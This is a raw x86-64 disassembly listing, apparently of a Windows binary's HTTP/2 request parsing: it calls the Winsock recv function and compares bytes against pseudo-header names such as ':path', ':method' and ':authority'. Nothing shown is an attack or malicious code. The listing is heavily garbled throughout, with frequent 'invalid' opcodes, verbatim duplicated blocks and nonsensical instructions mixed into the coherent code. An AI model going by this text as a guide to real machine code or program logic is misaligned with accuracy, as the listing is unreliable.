mov rbx, rdx
mov rsi, rcx
mov r8, qword [r8]
mov rax, qword [rdi + 8]
mov rdx, qword [r8 + 8]
mov cl, 1
cmp rdx, rax
jbe 0x14006c998
test r9b, r9b
leave
mov r9d, 0x3f
mov r10d, recv
cmovne r10d, r9d
ror dword [rbp - 0x75], 1
or byte [rbp + 0xf], al
mov dh, 4
add dword [rbp + rcx*4 + 0x70], ecx
add dword [rcx + rcx*4 + 0x77], ecx
or byte [rbp + 0x21], al
rol byte [rbp + 0x38], 1
sal byte [rdx + 0x2e], 1
ror dword [rbp - 0x75], 1
or byte [rbp + 0xf], al
mov dh, 4
add dword [rbp + rcx*4 + 0x70], ecx
add dword [rcx + rcx*4 + 0x77], ecx
or byte [rbp + 0x21], al
rol byte [rbp + 0x38], 1
sal byte [rdx + 0x2e], 1
cmp rdx, r14
jbe 0x14006c998
movzx r10d, byte [r9 + rax + 1]
rol dword [rcx - 0x80], cl
jrcxz 0x14006bda6
and bl, 0x7f
add r11b, r8b
movzx r8d, r11b
test r10b, r10b
js 0x14006be94
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbp - 0x7b], cl
ror byte [rdi], 0x84
test r8, r8
je 0x14006bdf3
mov bl, 0
add byte [rax], al
lea rdx, [rbx + 0x10]
lea rcx, [rsp + 0x20]
and al, ch
mov dl, 0xeb
invalid
invalid
and al, ch
mov dl, 0xeb
invalid
movzx eax, byte [rsp + 0x20]
movzx ebp, byte [rsp + 0x60]
and al, 0x60
cmp bpl, 8
je 0x14006be0f
movups xmm0, xmmword [rsp + 0x21]
movups xmm1, xmmword [rsp + 0x31]
and dword [rdi], ecx
adc byte [rsp + 0x31], cl
movups xmm2, xmmword [rsp + 0x41]
movups xmm3, xmmword [rsp + 0x50]
movups xmmword [rsp + 0x118], xmm3
sbb byte [rcx], al
add byte [rax], al
sbb byte [rcx], al
add byte [rax], al
movups xmmword [rsp + 0x109], xmm2
add byte [rax], al
movups xmmword [rsp + 0xe9], xmm0
mov ecx, dword [rsp + 0x61]
mov dword [rsp + 0x129], ecx
mov ecx, dword [rsp + 0x64]
mov dword [rsp + 0x12c], ecx
mov byte [rsp + 0xe8], al
and al, 0xe8
add byte [rax], al
invalid
mov word [rsp + rbp], fs
add dword [rax], eax
add byte [rax + 0xe82484], cl
and al, 0xe8
add byte [rax], al
invalid
mov byte [rsp + 0x128], bpl
lea rcx, [rsp + 0x20]
and al, 0x20
add dword [rax], eax
add byte [rax - 0x73], cl
and al, 0x20
and al, 0x20
and al, 0x20
mov rdx, rbx
mov r8, rdi
call fcn.14006d0a0
cmp byte [rsp + 0x20], 0
je 0x14006bf21
add qword [r8], rax
invalid
movzx eax, byte [rsp + 0x21]
mov byte [rsi], al
mov byte [rsi + 0x40], 8
lea rcx, [rsp + 0xe8]
lea ecx, [rsp + 0xe8]
and al, 0xe8
add byte [rax], al
add al, ch
call fcn.14006cd90
movabs byte [0xbabe900000f], al
jmp 0x14006c99e
lea rcx, [rsp + 0x20]
mov rdx, rbx
mov r8, rdi
mov eax, edi
mov eax, edi
call fcn.14006d0a0
cmp byte [rsp + 0x20], 0
je case.0x14006bacd.303
movzx eax, byte [rsp + 0x21]
mov byte [rsi], al
jmp 0x14006c99a
invalid
movups xmm0, xmmword [rsp + 0x28]
movups xmm1, xmmword [rsp + 0x38]
movups xmm2, xmmword [rsp + 0x48]
movaps xmmword [rsp + 0xb0], xmm0
movaps xmmword [rsp + 0xc0], xmm1
add byte [rdi], cl
sub dword [rsp + 0xd0], edx
invalid
add byte [rdi], cl
sub dword [rsp + 0xd0], edx
invalid
add byte [rax - 0x73], cl
and al, 0x20
lea rcx, [rsp + 0x20]
mov rdx, rbx
mov r8, rdi
call fcn.14006d0a0
cmp byte [rsp + 0x20], 0
je 0x14006c030
fadd dword [rcx]
add byte [rax], al
fadd dword [rcx]
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rcx*8], fs
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xb8
mov eax, 0x4c000000
mov eax, dword [rsp + 0xc0]
call qword [rax + reloc.WS2_32.dll_recv]
invalid
or cl, byte [rbx]
mov eax, 0x4c000000
mov eax, dword [rsp + 0xc0]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x14006c99e
add byte [rax], al
add byte [rax], al
cmp rdx, r14
jbe 0x14006c998
movzx r10d, byte [r9 + rax + 2]
lea r14, [rax + 3]
mov qword [rdi + 8], r14
mov r11d, r10d
mov ebx, edx
mov ebx, edx
and r11d, 0x7f
shl r11, 7
add r8, r11
test r10b, r10b
jns 0x14006bd37
mov dword [rbp - 2], esi
invalid
invalid
cmp rdx, r14
jbe 0x14006c998
movzx r10d, byte [r9 + rax + 3]
lea r14, [rax + 4]
mov qword [rdi + 8], r14
or byte [rbp - 0x77], al
rol dword [rcx - 0x7d], cl
jrcxz 0x14006bf5f
or byte [rbp - 0x77], al
rol dword [rcx - 0x7d], cl
jrcxz 0x14006bf5f
shl r11, 0xe
add r8, r11
test r10b, r10b
jns 0x14006bd37
cmp rdx, r14
jbe 0x14006c998
movzx ecx, byte [r9 + rax + 4]
add rax, 5
mov qword [rdi + 8], rax
test cl, cl
leave
leave
js 0x14006c996
and ecx, 0x7f
shl rcx, 0x15
add r8, rcx
mov r14, rax
enter 0xffffffffffff8949, 0xffffffffffffffc6
jmp 0x14006bd37
movups xmm0, xmmword [rsp + 0x28]
movups xmm1, xmmword [rsp + 0x38]
movups xmm2, xmmword [rsp + 0x48]
movaps xmmword [rsp + 0x130], xmm0
movaps xmmword [rsp + 0x140], xmm1
movaps xmmword [rsp + 0x150], xmm2
xchg esp, eax
and al, 0x50
add dword [rax], eax
add byte [rcx + rcx*4 + 0x77], cl
or byte [rax - 0x73], cl
mov word [rax + rdx*4], fs
add byte [rax], al
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x30
add dword [rax], eax
add byte [rcx - 0x77], cl
clc
xchg esp, eax
and al, 0x50
add dword [rax], eax
add byte [rcx + rcx*4 + 0x77], cl
or byte [rax - 0x73], cl
mov word [rax + rdx*4], fs
add byte [rax], al
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x30
add dword [rax], eax
add byte [rcx - 0x77], cl
clc
call fcn.14006d680
mov r14, qword [rsp + 0x90]
and al, 0x90
add byte [rax], al
add byte [rbp - 0x7b], cl
test byte [rdi], 0x84
and eax, dword [rdx]
add byte [rax], al
and al, 0x90
add byte [rax], al
add byte [rbp - 0x7b], cl
test byte [rdi], 0x84
and eax, dword [rdx]
add byte [rax], al
test byte [rbx], ah
add al, byte [rax]
add byte [rdi], cl
mov dh, 0x84
and al, 0x98
add byte [rax], al
add byte [rdi], cl
movzx eax, byte [rsp + 0x98]
movups xmm0, xmmword [rsp + 0x99]
adc byte [rsp + 0x99], al
adc byte [rsp + 0x99], al
movups xmmword [rsp + 0x79], xmm0
mov rcx, qword [rsp + 0xa8]
mov qword [rsp + 0x88], rcx
mov qword [rsp + 0x70], r14
je 0x14006bfc2
invalid
je 0x14006bfc2
jo 0x14006bfe0
add bpl, 0xfe
add ch, 0xfe
movzx ecx, bpl
xor edx, edx
cmp cl, 6
lea rcx, [rcx + 1]
cmovb rdx, rcx
ror dword [rax + 0x48782444], 1
lea eax, [0x140208cbc]
movsxd rcx, dword [rax + rdx*4]
nop
add rcx, rax
jmp rcx
mov rax, qword [rsp + 0xe8]
test rax, rax
je case.0x1400e8349.424
lea rdx, [rsp + 0x100]
mov r8, qword [rsp + 0xf0]
mov r9, qword [rsp + 0xf8]
lea rcx, [rsp + 0xb0]
and al, 0xb0
add byte [rax], al
add bh, bh
adc byte [rax - 0x75], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rdi], cl
mov dh, 0x8c
and al, 0xb8
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0xb9], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xf0
add byte [rax], al
add byte [rbx + rcx*4 - 0x74], cl
and al, 0xf8
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rsi*4], fs
and al, 0xb0
and al, 0xb0
add byte [rax], al
add bh, bh
adc byte [rax - 0x75], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rdi], cl
mov dh, 0x8c
and al, 0xb8
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0xb9], al
movaps xmmword [rsp + 0x90], xmm0
sub dword [rsp + 0x90], eax
mov rdx, qword [rsp + 0xc8]
mov qword [rsp + 0x9f], rdx
add byte [rax], al
add byte [rax], al
jmp case.0x140053187.441
movups xmm0, xmmword [rsp + 0x28]
movups xmm1, xmmword [rsp + 0x38]
movups xmm2, xmmword [rsp + 0x48]
movaps xmmword [rsp + 0x1a0], xmm0
sub dword [rsp + 0x1a0], eax
add byte [rdi], cl
movaps xmmword [rsp + 0x1b0], xmm1
sub dword [rsp + 0x1b0], ecx
movaps xmmword [rsp + 0x1c0], xmm2
mov qword [rdi + 8], r14
movaps xmm0, xmmword [rsp + 0xb0]
movaps xmm1, xmmword [rsp + 0xc0]
movaps xmm2, xmmword [rsp + 0xd0]
add byte [rdi], cl
sub dword [rsp + 0x40], edx
add byte [rdi], cl
sub dword [rsp + 0x40], edx
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x180]
and al, 0x80
add dword [rax], eax
add byte [rax - 0x73], cl
push rsp
and al, 0x20
and al, 0x80
add dword [rax], eax
add byte [rax - 0x73], cl
push rsp
and al, 0x20
mov r8, rdi
call fcn.14006d680
lea rcx, [rsp + 0x90]
lea rdx, [rsp + 0x1a0]
mov r8, rdi
call fcn.14006d680
movups xmm0, xmmword [rsp + 0x180]
movups xmm1, xmmword [rsp + 0x190]
nop
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x170], ecx
nop
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x170], ecx
movaps xmmword [rsp + 0x160], xmm0
mov rdi, qword [rsp + 0x170]
test rdi, rdi
je 0x14006c1a5
invalid
add byte [rax], al
add byte [rax], al
invalid
mov rbx, qword [rsp + 0x168]
cmp byte [rbx], 0x3a
jne 0x14006c1b6
lea rax, [rdi - 5]
cmp rax, 5
ja case.0x14006c10d.6
lea rcx, [0x140208cd8]
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
invalid
add al, 0x81
add rax, rcx
jmp rax
cmp byte [rbx + 1], 0x70
jne case.0x14006c10d.6
add byte [rax], al
add byte [rax], al
cmp byte [rbx + 2], 0x61
jne case.0x14006c10d.6
cmp byte [rbx + 3], 0x74
jne case.0x14006c10d.6
cmp byte [rbx + 4], 0x68
jne case.0x14006c10d.6
add byte [rax], al
add byte [rax], al
movups xmm0, xmmword [rsp + 0x90]
and al, 0x90
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0xa0], cl
movups xmm1, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0xe8]
lea rdx, [rsp + 0x20]
call fcn.14006d710
mov rax, qword [rsp + 0xe8]
mov eax, dword [rsp + 0xe8]
test rax, rax
test eax, eax
je 0x14006ca6e
add byte [rax], al
movups xmm0, xmmword [rsp + 0xf0]
movups xmmword [rsi + 8], xmm0
mov rcx, qword [rsp + 0x100]
mov qword [rsi], rax
mov qword [rsi + 0x18], rcx
sbb sil, r8b
add eax, 0x8b8e9
invalid
sbb sil, r8b
add eax, 0x8b8e9
add byte [rdi], cl
movzx eax, byte [rsp + 0x98]
jmp 0x14006bddb
mov dh, 0x84
and al, 0x98
add byte [rax], al
add cl, ch
cld
invalid
mov byte [rsi], 0
mov byte [rsi + 0x40], 8
mov rbx, qword [rsp + 0x168]
jmp 0x14006c1d9
lea rcx, [rsp + 0x20]
and al, 0x20
mov rdx, rbx
mov r8, rdi
call fcn.1400818e0
cmp qword [rsp + 0x20], 0
cmp dword [rsp + 0x20], 0
cmp dword [rsp + 0x20], 0
jl 0x14006c1ee
and byte [rax], al
je 0x14006c4a5
add byte [rax], al
mov byte [rsi], 7
mov byte [rsi + 0x40], 8
lea rcx, [rsp + 0xa8]
mov rax, qword [rsp + 0x90]
nop
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x98
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xa0
add byte [rax], al
add cl, ch
or byte [r8], r8b
invalid
nop
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x98
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xa0
add byte [rax], al
add cl, ch
or byte [r8], r8b
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0x70]
mov rax, qword [rsp + 0x70]
movzx ecx, byte [rsp + 0x78]
mov edx, dword [rsp + 0x79]
movzx r8d, word [rsp + 0x7d]
jge 0x14006c257
movzx ecx, byte [rsp + 0x7f]
jge 0x14006c257
movzx ecx, byte [rsp + 0x7f]
movups xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x30], xmm0
add byte [rdi], cl
sub dword [rsp + 0x30], eax
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x28], cl
and al, 0x28
mov dword [rsp + 0x29], edx
mov word [rsp + 0x2d], r8w
mov byte [rsp + 0x2f], r9b
mov rbx, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
lea rcx, [rsp + 0xb0]
mov al, 0
add byte [rax], al
mov al, 0
add byte [rax], al
mov rdx, rbx
mov r8, rdi
call fcn.14005a400
cmp qword [rsp + 0xb0], 0
loope 0x14006c257
dec dword [rax - 0x7d]
mov esp, 0xb024
add byte [rax], al
jne 0x14006c45d
add dword [rax], eax
mov rax, qword [rsp + 0x20]
test rax, rax
je 0x14006c470
mov rcx, qword [rsp + 0x38]
mov ecx, dword [rsp + 0x38]
mov qword [rsi], rax
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], rdi
mov qword [rsi + 0x18], rcx
mov byte [rsi + 0x40], 2
jmp 0x14006bde1
mov rdi, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x80]
lea rcx, [rsp + 0x20]
and al, 0x20
and al, 0x20
mov rdx, rdi
mov r8, rbx
call case.0x140065142.1105
movzx eax, byte [rsp + 0x20]
cmp al, 0xb
jne 0x14006c532
mov byte [rsi], 7
jmp 0x14006c696
mov rax, qword [rsp + 0x70]
movzx ecx, byte [rsp + 0x78]
mov edx, dword [rsp + 0x79]
movzx r8d, word [rsp + 0x7d]
movzx r9d, byte [rsp + 0x7f]
movups xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x30], xmm0
sub dword [rsp + 0x30], eax
sub dword [rsp + 0x30], eax
xor byte [rax - 0x77], cl
and al, 0x20
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x28], cl
mov dword [rsp + 0x29], edx
mov word [rsp + 0x2d], r8w
mov dword [rsp + 0x2d], eax
mov dword [rsp + 0x2d], eax
mov byte [rsp + 0x2f], r9b
mov rbx, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
lea rcx, [rsp + 0xb0]
mov rdx, rbx
mov r8, rdi
call fcn.14005a400
cmp qword [rsp + 0xb0], 0
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
jne 0x14006c45d
mov rax, qword [rsp + 0x20]
test rax, rax
je 0x14006c470
add al, 0xe9
test edx, edi
invalid
mov rax, qword [rsp + 0x70]
movzx ecx, byte [rsp + 0x78]
mov dh, 0x4c
and al, 0x78
mov edx, dword [rsp + 0x79]
movzx r8d, word [rsp + 0x7d]
movzx r9d, byte [rsp + 0x7f]
movups xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x30], xmm0
sub dword [rsp + 0x30], eax
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x28], cl
mov dword [rsp + 0x29], edx
mov word [rsp + 0x2d], r8w
mov byte [rsp + 0x2f], r9b
and al, 0x2f
and al, 0x2f
mov rbx, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
lea rcx, [rsp + 0xb0]
mov rdx, rbx
mov r8, rdi
call fcn.14005a400
cmp qword [rsp + 0xb0], 0
cmp dword [rsp + 0xb0], 0
jne 0x14006c45d
mov rax, qword [rsp + 0x20]
test rax, rax
je 0x14006c470
mov rcx, qword [rsp + 0x38]
mov qword [rsi], rax
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], rdi
adc byte [rax - 0x77], cl
sbb sil, r8b
invalid
invalid
invalid
jmp 0x14006bde1
mov rax, qword [rsp + 0x70]
movzx ecx, byte [rsp + 0x78]
mov edx, dword [rsp + 0x79]
invalid
movzx r8d, word [rsp + 0x7d]
movzx r9d, byte [rsp + 0x7f]
movups xmm0, xmmword [rsp + 0x80]
add byte [rdi], cl
sub dword [rsp + 0x30], eax
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x28], cl
mov dword [rsp + 0x29], edx
mov word [rsp + 0x2d], r8w
mov byte [rsp + 0x2f], r9b
mov rbx, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
lea rcx, [rsp + 0xb0]
mov word [rax + rsi*4], fs
add byte [rax], al
invalid
mov word [rax + rsi*4], fs
add byte [rax], al
add byte [rax - 0x77], cl
mov rdx, rbx
mov r8, rdi
fimul dword [rcx - 0x77]
clc
call fcn.14005a400
cmp qword [rsp + 0xb0], 0
mov rax, qword [rsp + 0x20]
lea rcx, [rsp + 0x38]
mov rdx, rbx
mov r8, rdi
mov eax, edi
call qword [rax + reloc.WS2_32.dll_recv]
mov byte [rsi], 7
jmp 0x14006bddd
stc
invalid
invalid
invalid
mov rdi, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x80]
pushfq
and al, 0x80
add byte [rax], al
add byte [rax - 0x77], cl
stc
mov rdx, rbx
call fcn.140082a10
add dword [rax], eax
test ax, ax
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0x28], al
and al, 0x28
movups xmm0, xmmword [rsp + 0x28]
and al, 0x28
movups xmm1, xmmword [rsp + 0x38]
movaps xmmword [rsp + 0x140], xmm1
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x130], eax
movaps xmmword [rsp + 0x130], xmm0
mov r14, qword [rsp + 0x98]
mov r15, qword [rsp + 0xa0]
xor eax, eax
ror byte [rcx + 0x39], 0xc7
cmp r15, rax
je case.0x1400693d1.210
setne dl
inc rax
invalid
test rax, rax
je 0x14006c1d9
test bh, al
cld
invalid
invalid
dec dword [rax - 0x73]
lea rcx, [rsp + 0x148]
mov rdx, qword [rsp + 0x138]
add byte [rax], al
mov word [rax + rcx*2], fs
add dword [rax], eax
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x40
mov r8, qword [rsp + 0x140]
test byte [rax + rax*2], ah
add byte [rax], al
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x14006c1d9
cld
invalid
invalid
mov rcx, qword [rsp + 0x30]
add byte [rax], al
add byte [rcx], dh
ror byte [rax - 0x77], 0x84
and al, 0x30
add dword [rax], eax
add byte [rax + 0x138248c], cl
and al, 0x38
add dword [rax], eax
invalid
movaps xmm0, xmmword [rsp + 0x90]
add dword [rax], eax
mov ecx, dword [rsp + 0x9f]
mov qword [rsp + 0x148], rcx
mov rdi, qword [rsp + 0x78]
jl 0x14006c5b0
js 0x14006c5d6
mov rbx, qword [rsp + 0x80]
mov ebx, dword [rsp + 0x80]
pushfq
and al, 0x80
add byte [rax], al
add byte [rax], al
xor ecx, ecx
add byte [rax], al
xor ecx, ecx
cmp rbx, rcx
je 0x14006c5ee
push rdx
movzx r9d, byte [rdi + rcx]
cmp r9b, 0x20
ret 0x8041
inc rcx
cmp r9b, 9
stc
invalid
stc
or dword [rsi + rbx*8 + 0x44], esi
je case.0x14005db00.416
and dl, r8b
je case.0x14005db00.416
and dl, r8b
ret 0xd975
jne case.0x14005db00.416
mov byte [rsi], 7
mov byte [rsi + 0x40], 8
or byte [rax - 0x7b], cl
ror byte [rdi], 0x84
int3
add byte [rax], al
invalid
lea rcx, [rsp + 0x148]
lea ecx, [rsp + 0x148]
and al, 0x48
add dword [rax], eax
add byte [rax], al
invalid
invalid
add byte [rax], al
mov rdx, qword [rsp + 0x138]
mov r8, qword [rsp + 0x140]
and al, 0x40
add dword [rax], eax
add bh, bh
push rax
adc cl, ch
lodsb al, byte [rsi]
add byte [rax], al
invalid
xchg esp, eax
and al, 0x38
add dword [rax], eax
add byte [rbx + rcx*4 - 0x7c], cl
push rax
adc cl, ch
lodsb al, byte [rsi]
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rsi*4], fs
and al, 0xb0
lea rcx, [rsp + 0xb0]
mov al, 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov rdx, rdi
mov r8, rbx
call fcn.140016e50
test al, 0xfa
dec dword [rdi]
adc byte [rsp + 0xb0], al
and al, 0xb0
add byte [rax], al
invalid
fsubr st(0)
and al, 0xb0
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0xc0], cl
rol byte [rax], 0
invalid
movups xmm1, xmmword [rsp + 0xc0]
add byte [rax], al
movaps xmmword [rsp + 0x50], xmm1
and al, 0x50
push rax
movaps xmmword [rsp + 0x40], xmm0
mov eax, dword [rsp + 0xd4]
mov dword [rsi + 0x44], eax
invalid
invalid
mov dword [rsi + 0x41], eax
adc byte [rsp + 0x130], al
movaps xmmword [rsp + 0x20], xmm0
movaps xmmword [rsp + 0x30], xmm1
and al, 0x30
sub byte [rsp + 0x50], dl
push rax
movups xmmword [rsi + 0x30], xmm2
adc dword [rsi + 0x30], edx
movaps xmm2, xmmword [rsp + 0x40]
movups xmmword [rsi + 0x20], xmm2
adc dword [rsi + 0x20], edx
push rsi
adc dword [rsi + 0x10], ecx
movups xmmword [rsi], xmm0
mov byte [rsi + 0x40], 0
jmp 0x14006c69a
invalid
xor cl, byte [rax - 0x75]
and al, 0x20
and al, 0x20
test rax, rax
je 0x14006c470
std
invalid
invalid
dec dword [rax - 0x75]
and al, 0x38
mov rcx, qword [rsp + 0x38]
invalid
mov dword [rsi + 0x10], edi
jle 0x14006c696
mov qword [rsi + 0x18], rcx
mov byte [rsi + 0x40], 6
invalid
invalid
invalid
jmp 0x14006bde1
idiv rdi
invalid
invalid
invalid
mov byte [rsi], 8
mov byte [rsi + 0x40], 8
or byte [rax - 0x73], cl
lea rcx, [rsp + 0x88]
lea ecx, [rsp + 0x88]
mov word [rax + rcx*4], fs
add byte [rax - 0x77], cl
cli
mov rdx, rdi
mov edx, edi
mov r8, rbx
mov eax, ebx
call qword [rsi + reloc.WS2_32.dll_recv]
jmp 0x14006bde1
invalid
dec dword [rdi]
mov dh, 0x43
movzx eax, byte [rbx + 1]
cmp eax, 0x73
clc
jae 0x14006c6c8
test byte [rsi + 2], ch
add byte [rax], al
invalid
clc
jae 0x14006c6c8
test byte [rsi + 2], ch
add byte [rax], al
invalid
add al, byte [rax]
add byte [rbx - 0x7af09208], al
cmp eax, 0x6d
clc
jne case.0x14006c10d.6
pop rcx
add eax, dword [rax]
add byte [rax + 0xf65027b], al
cmp byte [rbx + 2], 0x65
invalid
cmp byte [rbx + 2], 0x65
jnp 0x14006c6cc
jne case.0x14006c10d.6
jne case.0x14006c10d.6
test dword [rdi + 3], ecx
add r8, qword [r8]
add byte [rax + 0xf74037b], al
jne case.0x14006c10d.6
add byte [rax], al
cmp byte [rbx + 3], 0x74
cmp byte [rbx + 4], 0x68
jne case.0x14006c10d.6
cmp eax, dword [rbx]
add byte [rax], al
jnp 0x14006c6e2
push 0x33b850f
add eax, dword [rax]
cmp byte [rbx + 5], 0x6f
add eax, 0x31850f6f
jne case.0x14006c10d.6
xor dword [rbx], eax
add eax, dword [rax]
add byte [rax + 0xf64067b], al
cmp byte [rbx + 6], 0x64
invalid
cmp byte [rbx + 6], 0x64
invalid
jne case.0x14006c10d.6
test dword [rdi], esp
add eax, dword [rax]
invalid
add byte [rax], al
add byte [rbx + rcx*4 - 0x4c], cl
and al, 0x98
cwde
cwde
add byte [rax], al
add byte [rbx + rcx*4 - 0x44], cl
invalid
invalid
mov esp, 0xa024
mov r15, qword [rsp + 0xa0]
mov edi, dword [rsp + 0xa0]
add byte [rax - 0x73], cl
lea rcx, [rsp + 0x20]
mov rdx, r14
mov edx, esi
mov r8, r15
clc
call case.0x140065142.1105
add dword [rax], eax
movzx eax, byte [rsp + 0x20]
and al, 0x20
cmp al, 0xb
je 0x14006c1d2
cli
invalid
invalid
or ecx, dword [rdi]
test byte [rdx + rdi*8 - 0x74b70001], ch
cli
invalid
dec dword [rax - 0x75]
dec dword [rax - 0x75]
mov rcx, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x30]
and al, 0x30
mov qword [rsi + 0x10], rcx
and al, 0x21
and dword [rdi], ecx
adc dword [rsi + 1], eax
movups xmmword [rsi + 1], xmm0
mov byte [rsi], al
mov byte [rsi + 0x40], 3
jmp 0x14006ca37
hlt
add al, byte [rax]
add byte [rax], al
add byte [rax], al
cmp byte [rbx + 1], 0x70
jne case.0x14006c10d.6
test ebx, edx
add al, byte [rax]
invalid
test ebx, edx
add al, byte [rax]
add byte [rax + 0xf72027b], al
add dh, byte [rdx + 0xf]
rol dword [rdx], cl
add byte [rax], al
cmp byte [rbx + 2], 0x72
jne case.0x14006c10d.6
add byte [rax], al
test ecx, ecx
add al, byte [rax]
invalid
add byte [rax], al
cmp byte [rbx + 3], 0x6f
jnp case.0x14005f6a2.390
outsd dx, dword [rsi]
jne case.0x14006c10d.6
add byte [rax], al
cmp byte [rbx + 4], 0x74
add al, 0x74
jne case.0x14006c10d.6
test dword [rbp - 0x7ffffffe], esi
jnp 0x14006c773
invalid
cmp byte [rbx + 5], 0x6f
add eax, 0xab850f6f
add al, byte [rax]
outsd dx, dword [rsi]
jne case.0x14006c10d.6
add byte [rax], al
add byte [rax + 0xf63067b], al
test dword [rcx - 0x7ffffffe], esp
add byte [rax], al
invalid
jnp 0x14006c789
invalid
cmp byte [rbx + 6], 0x63
jne case.0x14006c10d.6
add byte [rax], al
add byte [rax], al
cmp byte [rbx + 7], 0x6f
invalid
outsd dx, dword [rsi]
jne case.0x14006c10d.6
test dword [rdi - 0x7ffffffe], edx
jnp case.0x14005f6a2.398
invalid
add al, byte [rax]
add byte [rax + 0xf6c087b], al
or byte [rdi + rcx - 0x7b], ch
lea eax, [rdx]
add byte [rax], al
invalid
cmp byte [rbx + 8], 0x6c
or byte [rdi + rcx - 0x7b], ch
insb byte [rdi], dx
jne case.0x14006c10d.6
lea eax, [rdx]
add byte [rax], al
movups xmm0, xmmword [rsp + 0x90]
add byte [rax], al
movups xmm1, xmmword [rsp + 0xa0]
add byte [rax], al
movaps xmmword [rsp + 0x30], xmm1
sub dword [rsp + 0x30], ecx
xor byte [rdi], cl
movaps xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0xe8]
lea rdx, [rsp + 0x20]
push rsp
and al, 0x20
invalid
and al, 0xe8
add byte [rax], al
add byte [rax - 0x73], cl
push rsp
and al, 0x20
invalid
and al, ch
call fcn.14006d7a0
loope case.0x1400621f6.369
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rbp*8], ah
call 0x18806c7c8
test eax, eax
invalid
invalid
mov rax, qword [rsp + 0xe8]
add byte [rax], al
test rax, rax
je 0x14006ca6e
sahf
add al, byte [rax]
add byte [rdi], cl
adc byte [rsp + 0xf0], al
and al, 0xf0
add byte [rax], al
invalid
movups xmm0, xmmword [rsp + 0xf0]
and al, 0xf0
add byte [rax], al
add byte [rdi], cl
movups xmmword [rsi + 8], xmm0
adc dword [rsi + 8], eax
mov rcx, qword [rsp + 0x100]
mov qword [rsi], rax
mov dword [rsi], eax
mov word [rax + rax], fs
add dword [rax], eax
add byte [rax - 0x77], cl
mov dword [rsi], eax
invalid
mov qword [rsi + 0x18], rcx
mov byte [rsi + 0x40], 6
sbb dh, al
invalid
jmp 0x14006ca50
add al, byte [rax]
add byte [rax + 0xf61017b], al
cmp byte [rbx + 1], 0x61
jne case.0x14006c10d.6
cmp byte [rbx + 2], 0x75
invalid
cmp byte [rbx + 1], 0x61
jne case.0x14006c10d.6
add byte [rax], al
cmp byte [rbx + 2], 0x75
jne case.0x14006c10d.6
test dword [rax], ebx
add al, byte [rax]
invalid
jnp case.0x140069261.214
jne case.0x1400693d1.202
test dword [rax], ebx
add al, byte [rax]
add byte [rax + 0xf74037b], al
cmp byte [rbx + 3], 0x74
invalid
test dword [rsi], ecx
cmp byte [rbx + 3], 0x74
jne case.0x14006c10d.6
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax + 0xf68047b], al
test dword [rdx + rax], eax
add byte [rax], al
cmp byte [rbx + 4], 0x68
jne case.0x14006c10d.6
cmp byte [rbx + 5], 0x6f
jnp case.0x14006bacd.347
outsd dx, dword [rsi]
jne case.0x14006c10d.6
add byte [rax], al
cmp byte [rbx + 6], 0x72
jne case.0x14006c10d.6
test eax, esi
add dword [rax], eax
invalid
invalid
test eax, esi
add dword [rax], eax
add byte [rax + 0xf69077b], al
test esi, esp
add dword [rax], eax
add byte [rax + 0xf74087b], al
jnp 0x14006c845
je 0x14006c84e
cmp byte [rbx + 7], 0x69
jne case.0x14006c10d.6
cmp byte [rbx + 8], 0x74
jne case.0x14006c10d.6
add byte [rax], al
jnp 0x14006c845
je 0x14006c84e
test esp, ebx
add dword [rax], eax
invalid
add byte [rax], al
add byte [rax + 0xf79097b], al
cmp byte [rbx + 9], 0x79
jne case.0x14006c10d.6
test edx, edx
add dword [rax], eax
add byte [rax], al
jnp case.0x14007695a.336
jns 0x14006c858
test edx, edx
